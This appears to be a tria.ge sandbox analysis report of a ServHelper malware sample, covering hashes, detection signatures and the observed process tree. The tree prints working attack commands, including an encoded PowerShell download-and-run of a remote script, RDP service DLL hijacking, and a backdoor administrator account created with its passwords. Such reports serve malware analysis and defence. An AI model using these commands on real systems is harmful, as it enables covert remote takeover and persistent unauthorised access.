Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    147s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    29/09/2021, 15:40

General

  • Target

    74f029d2fd587f9e25091f7832bea2f2.exe

  • Size

    5.7MB

  • MD5

    74f029d2fd587f9e25091f7832bea2f2

  • SHA1

    76fb2d051d6dc938ba2b7131ef1b21c0fe2ad60c

  • SHA256

    5f0c0223d10468b9130a240432342f4056c6d7c2f6f89469c9d971bcea31255a

  • SHA512

    0386c61a89b414ab50c2c7b371d2bab288bde154da35c643de423622b05e99fcc748f5b0b9e53f8da00e6dccd02cf535b6d41c15fbddfa732a599db3bac45a23

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe
    "C:\Users\Admin\AppData\Local\Temp\74f029d2fd587f9e25091f7832bea2f2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2336
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\haftagsk\haftagsk.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1444
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9FC5.tmp" "c:\Users\Admin\AppData\Local\Temp\haftagsk\CSC7EDA78EA8A094F018439CB9964965DA0.TMP"
          4⤵
            PID:4092
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3612
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1128
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2764
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3876
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:4084
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3620
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3556
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3596
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1228
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3604
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3980
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3016
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3296
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4084
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:1292
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:4736
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:4752
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1264
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:796
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:804
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc EdrwL8Uu /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4036
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc EdrwL8Uu /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3180
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc EdrwL8Uu /add
                          3⤵
                            PID:1248
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3252
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3556
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:1792
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3604
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3612
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:920
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:796
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1792
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:3344
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc EdrwL8Uu
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2356
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc EdrwL8Uu
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:920
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc EdrwL8Uu
                                  3⤵
                                    PID:1384
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3252
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                  • Modifies data under HKEY_USERS
                                  PID:3924
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic CPU get NAME
                                1⤵
                                  PID:2356
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic CPU get NAME
                                    2⤵
                                      PID:3604
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                    1⤵
                                      PID:1792
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        2⤵
                                          PID:1248
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            3⤵
                                            • Blocklisted process makes network request
                                            • Drops file in Program Files directory
                                            • Drops file in Windows directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:1256
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C net user wgautilacc 1234
                                        1⤵
                                          PID:4512
                                          • C:\Windows\system32\net.exe
                                            net user wgautilacc 1234
                                            2⤵
                                              PID:4552
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user wgautilacc 1234
                                                3⤵
                                                  PID:4572

                                            Network

                                            MITRE ATT&CK Enterprise v6

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • memory/1128-294-0x000001C1CD2C8000-0x000001C1CD2CA000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1128-292-0x000001C1CD2C3000-0x000001C1CD2C5000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1128-291-0x000001C1CD2C0000-0x000001C1CD2C2000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1128-293-0x000001C1CD2C6000-0x000001C1CD2C8000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1256-393-0x0000017435193000-0x0000017435195000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1256-392-0x0000017435190000-0x0000017435192000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1256-396-0x0000017435196000-0x0000017435198000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1256-447-0x0000017435198000-0x0000017435199000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1404-119-0x0000026279986000-0x0000026279987000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1404-114-0x000002627A680000-0x000002627AA7F000-memory.dmp

                                              Filesize

                                              4.0MB

                                            • memory/1404-117-0x0000026279983000-0x0000026279985000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/1404-118-0x0000026279985000-0x0000026279986000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/1404-116-0x0000026279980000-0x0000026279982000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/2336-155-0x000002AE3C110000-0x000002AE3C111000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2336-153-0x000002AE397B8000-0x000002AE397B9000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2336-138-0x000002AE397B3000-0x000002AE397B5000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/2336-126-0x000002AE3B790000-0x000002AE3B791000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2336-154-0x000002AE3BD80000-0x000002AE3BD81000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2336-147-0x000002AE215F0000-0x000002AE215F1000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2336-131-0x000002AE3B940000-0x000002AE3B941000-memory.dmp

                                              Filesize

                                              4KB

                                            • memory/2336-139-0x000002AE397B6000-0x000002AE397B8000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/2336-137-0x000002AE397B0000-0x000002AE397B2000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3180-174-0x0000027951D60000-0x0000027951D62000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3180-198-0x0000027951D66000-0x0000027951D68000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3180-175-0x0000027951D63000-0x0000027951D65000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3180-203-0x0000027951D68000-0x0000027951D6A000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3612-221-0x000001F0A2F20000-0x000001F0A2F22000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3612-222-0x000001F0A2F23000-0x000001F0A2F25000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3612-252-0x000001F0A2F26000-0x000001F0A2F28000-memory.dmp

                                              Filesize

                                              8KB

                                            • memory/3612-254-0x000001F0A2F28000-0x000001F0A2F2A000-memory.dmp

                                              Filesize

                                              8KB